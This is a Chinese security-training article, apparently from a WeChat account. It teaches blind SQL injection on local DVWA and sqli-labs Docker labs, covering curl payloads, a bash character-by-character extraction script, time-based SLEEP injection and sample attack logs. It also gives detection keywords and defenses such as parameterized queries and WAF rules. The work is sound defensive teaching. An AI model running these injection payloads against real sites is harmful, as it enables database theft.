靶场实战10|只会说 \"是 / 否\" 的数据库,是怎么被攻破的?(附docker靶场部署步骤)
原创
安全值班室
安全值班室
安全值班室
2026年10月16日 09:00
北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
上一期 UNION SELECT 直接把数据拖出来,但真实系统常不显示查询结果——要么只回一句\"成功/无结果\",要么干脆报错。数据还能拿到吗?能。像猜谜一样一次问一个问题,靠页面\"是/否\"或响应快慢,把答案一比特一比特抠出来,这就是盲注。这一章,我们用 DVWA 和 sqli-labs 把盲注全流程跑一遍。
01 / 环境搭建:一条命令拉起两个盲注靶场
DVWA 的 Blind 关卡(Medium)演示\"带转义的真实场景\",sqli-labs 的 Less-5/6 是教科书级盲注关卡:一单一双,正好对照。
一键启动命令
# ===== 一键部署双盲注靶场(DVWA + sqli-labs)=====# 端口:DVWA=8083,sqli-labs=8082(被占用就改前面的数字)# 1. 启动 DVWA(盲注主战场,官方镜像)docker run -d --name dvwa -p 8083:80 --restart=always docker.1ms.run/vulnerables/web-dvwa# 2. 启动 sqli-labs(SQLi 专项靶场,镜像已内置数据库)docker run -d --name sqli-labs -p 8082:80 --restart=always docker.1ms.run/acgpiano/sqli-labs# 3. 登录 DVWA:http://localhost:8083/login.php(admin/password)# 注意:表单字段名是 username,不是 user# 首次登录先点 Setup → Create/Reset Database 初始化# 再到 DVWA Security 把安全等级调成 Medium(会转义单引号,适合学\"数字型+盲注\")# 4. 验证 sqli-labs 就绪(正常应返回 \"You are in\")curl -s \"http://localhost:8082/Less-5/?id=1\" | grep \"You are in\"
靶场说明:DVWA Medium 转义单引号,逼你走数字型注入;sqli-labs 库名 security,结构干净。两个靶场正好互补。
避坑指南
1. DVWA 登录失败:字段名是 username 不是 user;首次登录先点 Setup 的 Create/Reset Database,否则漏洞页全报错。
2. sqli-labs 打不开(AH00111):老镜像 apache 偶发起不来,docker exec sqli-labs apache2ctl start 解决。
3. curl 注入不生效:URL 空格要写 %20,浏览器自动编码但 curl 不会——新手最高频的\"假失败\"。
4. 端口冲突:改 -p 前面的端口号即可。
02 / 模拟攻击:把\"是/否\"和\"快/慢\"当密码本
盲注三板斧:单引号确认注入点 → 布尔盲注(有/无回显)→ 无信号就上时间盲注(快/慢)。全程只在本地靶场演示。
第一步:单引号探路(确认注入点)
# ===== 第一步:确认注入点(单引号是\"试金石\")=====# 正常访问 id=1,页面显示 You are in......curl -s \"http://localhost:8082/Less-5/?id=1\"# 加一个单引号 id=1',SQL 拼接被打破,直接报语法错误curl -s \"http://localhost:8082/Less-5/?id=1'\"# 报错关键信息:# ...right syntax to use near ''1'' LIMIT 0,1' at line 1# → 说明 id 被拼进了 SQL 且未过滤,注入点确认 ✅
单引号是注入的\"试金石\":报语法错误说明输入被拼进了 SQL。报错还吐出 SQL 片段(near ''1'' LIMIT 0,1),属于错误回显漏洞,看到基本就锁定注入点。
第二步:布尔盲注(页面当信号灯)
# ===== 第二步:布尔盲注(把页面当\"是/否\"信号灯)=====# 规则:条件为真 → 显示 You are in;条件为假 → 页面空白# 注意:URL 里空格要写成 %20,否则注入不生效(常见坑!)# 猜数据库名第一个字符是不是 's'(ASCII 115 = 's')curl -s \"http://localhost:8082/Less-5/?id=1'%20AND%20ASCII(SUBSTR((SELECT%20DATABASE()),1,1))=115--%20\" | grep \"You are in\"# 输出 You are in → 条件为真,第一个字符确实是 's' ✅# 猜成 'd'(ASCII 100)试试curl -s \"http://localhost:8082/Less-5/?id=1'%20AND%20ASCII(SUBSTR((SELECT%20DATABASE()),1,1))=100--%20\" | grep \"You are in\"# 无输出 → 条件为假,不是 'd' ❌
DATABASE() 当前数据库名SUBSTR(x,1,1) 取第 1 个字符ASCII(c) 转成数字,方便程序比较=115 等于 's' 则为真
联合查询要页面渲染数据,布尔盲注只要\"有/无反应\"两种状态。SUBSTR 切字符、ASCII 转数字,把字符比较变成数字比较,数字不用引号,脚本更好写。
第三步:脚本逐字符提取(库名 security 到手)
# ===== 第三步:脚本提速(逐字符抠出整个库名)=====# 思路:每个位置遍历 a-z,页面回显 \"You are in\" 的那个就是当前字符for pos in $(seq 1 8); do for ascii in $(seq 97 122); do # 探测第 pos 位字符的 ASCII 是否等于当前值 r=$(curl -s \"http://localhost:8082/Less-5/?id=1'%20AND%20ASCII(SUBSTR((SELECT%20DATABASE()),${pos},1))=${ascii}--%20\" | grep -c \"You are in\") if [ \"$r\" -eq 1 ]; then # 命中:ASCII 数字转回字符并输出 printf \"\\\\$(printf '%03o' \"$ascii\")\" break fi donedoneecho \"\"
手工问 26 次才定一个字符,脚本一个循环全搞定——实测 8 字符约 200 次请求。同样的思路套到表名、列名、字段值上,拖完整个库只是时间问题。没有回显不等于安全。
第四步:时间盲注(延迟当信号灯)
# ===== 第四步:时间盲注(连\"是/否\"都不给,用延迟当信号灯)=====# 场景:有些接口无论真假都返回同样内容(如登录判断),布尔盲注失效# 原理:条件为真 → 执行 SLEEP(2) → 响应慢 2 秒;条件为假 → 秒回# 测第一个字符是不是 's'(真 → 慢 2 秒)time curl -s \"http://localhost:8082/Less-5/?id=1'%20AND%20IF(ASCII(SUBSTR((SELECT%20DATABASE()),1,1))=115,SLEEP(2),0)--%20\" -o /dev/null# real 0m2.009s ← 延迟 2 秒,条件为真 ✅# 测成 'd'(假 → 秒回)time curl -s \"http://localhost:8082/Less-5/?id=1'%20AND%20IF(ASCII(SUBSTR((SELECT%20DATABASE()),1,1))=100,SLEEP(2),0)--%20\" -o /dev/null# real 0m0.00Xs ← 秒回,条件为假 ❌
有些接口真假都返回同样页面,布尔盲注失效。改用 SLEEP:条件为真就让数据库睡 2 秒,拿秒表当眼睛。最慢但最通用,是兜底方案。
第五步:DVWA Medium 实战(转义挡不住数字型)
# ===== 第五步:DVWA Medium 实战(转义环境下的数字型盲注)=====# DVWA sqli_blind 关卡:POST 提交 id# Medium 会转义单引号(' 变 \\'),但数字型参数不需要引号!# 用纯数字表达式照样注入,转义挡不住# 先登录 DVWA 并保持会话(浏览器操作),再 POST:# ① 布尔测试:1 AND 1=1 → 有提示;1 AND 1=2 → 无提示curl -b \"PHPSESSID=你的会话ID\" -X POST \\ -d \"id=1 AND 1=1&Submit=Submit\" \\ http://localhost:8083/vulnerabilities/sqli_blind/# 页面显示 \"User ID exists in the database\" → 数字型注入点确认 ✅# ② 猜数据库用户名首字符:ASCII(SUBSTRING((SELECT user()),1,1))=97(即 'a')curl -b \"PHPSESSID=你的会话ID\" -X POST \\ -d \"id=1 AND ASCII(SUBSTRING((SELECT user()),1,1))=97&Submit=Submit\" \\ http://localhost:8083/vulnerabilities/sqli_blind/# 有回显 → 真 ✅(实测 DVWA 的 user() 以 a 开头)# ③ 时间盲注同样可行(数字型,无引号):# id=1 AND IF(ASCII(SUBSTRING((SELECT user()),1,1))=97,SLEEP(2),0)# 延迟 2 秒 = 真
Medium 转义了单引号,字符串型注入被堵死,但数字型参数不需要引号。这就是\"过滤单引号\"不是治本方案的原因。
03 / 日志分析:盲注在日志里长什么样
以下是靶场 Apache 访问日志的脱敏片段:
# 时间线(已隐去 IP):[30/Aug 10:02:11] GET /Less-5/?id=1 → 200, 704B # ① 基线访问[30/Aug 10:02:13] GET /Less-5/?id=1' → 200, 739B # ② 加引号,字节+35 → 报错页(注入点确认)[30/Aug 10:02:14] GET /Less-5/?id=1' AND ASCII(...)=115 → 200, 704B # ③ 布尔盲注猜 's' ✅[30/Aug 10:02:14] GET /Less-5/?id=1' AND ASCII(...)=116 → 200, 704B # ③ 继续猜 't'[30/Aug 10:02:15] GET /Less-5/?id=1' AND ASCII(...)=117 → 200, 704B # ③ 继续猜 'u'[30/Aug 10:02:17] GET /Less-5/?id=1' AND SLEEP(2) → 200, 704B # ④ 时间盲注,间隔 2 秒[30/Aug 10:02:19] GET /Less-5/?id=1' AND SLEEP(2) → 200, 704B # ④ 再次延迟 2 秒[30/Aug 10:02:21] GET /Less-5/?id=1' AND SLEEP(2) → 200, 704B # ④ 第 3 次延迟 2 秒[30/Aug 10:02:24] POST /vulnerabilities/sqli_blind/ → 200, 891B # ⑤ DVWA Medium 实战(数字型)[30/Aug 10:02:24] POST /vulnerabilities/sqli_blind/ → 200, 891B # ⑤ 猜 user() 首字符[30/Aug 10:02:25] POST /vulnerabilities/sqli_blind/ → 200, 891B # ⑤ 时间盲注(SLEEP 分支)
逐行解读:
第1行:id=1 正常访问,704字节——基线。
第2行:id=1' 带单引号,字节变 739 多了报错内容——探注入点。
第3-5行:同URL参数只有 ascii 数字 115→116→117 在变、一秒连发——逐字符爆破,人工不可能这么规律。
第6-8行:SLEEP(2) 连发,间隔约2秒——时间盲注在\"量\"延迟。
第9-11行:POST sqli\_blind 一秒3次——脚本在跑盲注,响应体全是 891 字节。
判断标准:哪些特征说明是真实攻击
1. 参数带盲注函数关键字:sleep( / benchmark( / substr( / ascii( / information\_schema 出现在 query 里,正常业务不可能。
2. 同URL高频请求+参数只变一个字符:ascii 115/116/117 连续递增,是逐字符脚本的节奏。
3. 时间戳呈固定延迟间隔:SLEEP(2) 的请求间隔稳定约 2 秒,正常用户不会有\"钟表式\"节奏。
4. 响应字节数规律:探点 704↔739、盲注固定 704——脚本请求响应大小高度一致。
5. 同IP短时大量 404/500 混着 200:攻击者在试错调 payload。
04 / 如何防护:堵住根子,而不是堵住姿势
先讲原理。盲注能成功,根本原因只有一个:用户输入被拼进了 SQL 语句。盲注、联合查询、报错注入只是\"拿结果\"的不同姿势,根子都是拼接。所以第一原则永远是参数化查询,让输入只是数据、成不了代码;过滤、WAF 只是辅助手段。
基础级(必须做):参数化查询+最小权限
# ===== 参数化查询:让输入永远只是数据,成不了代码 =====# ------- PHP / PDO -------$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');$stmt->execute([$_GET['id']]);# ------- Java / PreparedStatement -------String sql = \"SELECT * FROM users WHERE id = ?\";PreparedStatement ps = conn.prepareStatement(sql);ps.setInt(1, id);# ------- Python -------cur.execute('SELECT * FROM users WHERE id = %s', (uid,))
参数化查询是唯一根治方案,任何语言都有现成实现(PDO、PreparedStatement、参数绑定)。同时数据库账号只授最小权限,注入成功也拖不了库。
进阶级(推荐):输入校验+WAF+关闭报错
- 输入白名单:id 只允许纯数字,非数字直接拒绝(正则 ^\d+$)。
- WAF 拦截盲注特征函数:sleep(/benchmark(/substr(/ascii(/information\_schema 命中即 403。
- 关闭错误回显:生产环境 display\_errors=Off,错误只写日志——断掉攻击者的\"信号灯\"。
- 频率限制:同IP同接口超阈值限流,拖慢逐字符爆破。
专家级(纵深防御)
- 数据库审计+告警:开启 general\_log,SQL 含 SLEEP/SUBSTR 特征即告警。
- RASP 运行时自保护:在 SQL 执行层拦截\"参数变代码\",比 WAF 更靠内。
- 全链路溯源:access log、DB log、WAF log 三源关联还原攻击链。
- 主动自查:用 sqlmap 定期扫自家系统,比攻击者先发现。
05 / 总结复盘
要点提炼:
- 盲注=无回显时,靠\"是/否\"(布尔)或\"快/慢\"(时间)两种信号猜数据。
- 三板斧:单引号探点 → 布尔盲注 → 不行上时间盲注,SUBSTR+ASCII 逐字符提取。
- 转义单引号挡不住数字型注入,过滤不是根治方案。
- 日志里 sleep(/substr(/ascii( + 固定延迟 + 单字符变化 = 盲注铁证。
- 根治一条:参数化查询,输入永远是数据、成不了代码。
攻击链全景:单引号确认拼接点 → 闭合引号塞条件 → 布尔盲注逐字符问\"是不是这个字符\" → 无信号换 SLEEP 时间盲注 → 脚本循环抠出库名/表名/数据。全程零回显,信息一点没少。
面试可能怎么问:
Q:布尔盲注和时间盲注有什么区别?
A:布尔靠页面\"有/无回显\"判断,快但要页面有差异;时间靠 SLEEP 制造延迟,慢但最通用,页面无差异时用它。
Q:SUBSTR 和 ASCII 起什么作用?
A:SUBSTR 切单字符,ASCII 转数字,把\"猜字符\"变\"猜数字\",方便脚本逐位提取。
Q:如何防御 SQL 盲注?
A:根本是参数化查询;配套最小权限、WAF 拦特征函数、关错误回显、频率限制;纵深加审计告警和 RASP。
盲注靠\"猜\"还是慢?下一章报错注入——让数据库把答案直接\"喊\"出来,一次请求一个错误信息,速度起飞,再顺带学各种绕过姿势。
关注我,下期不迷路
MORE
往期回顾
Web安全学习路线
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论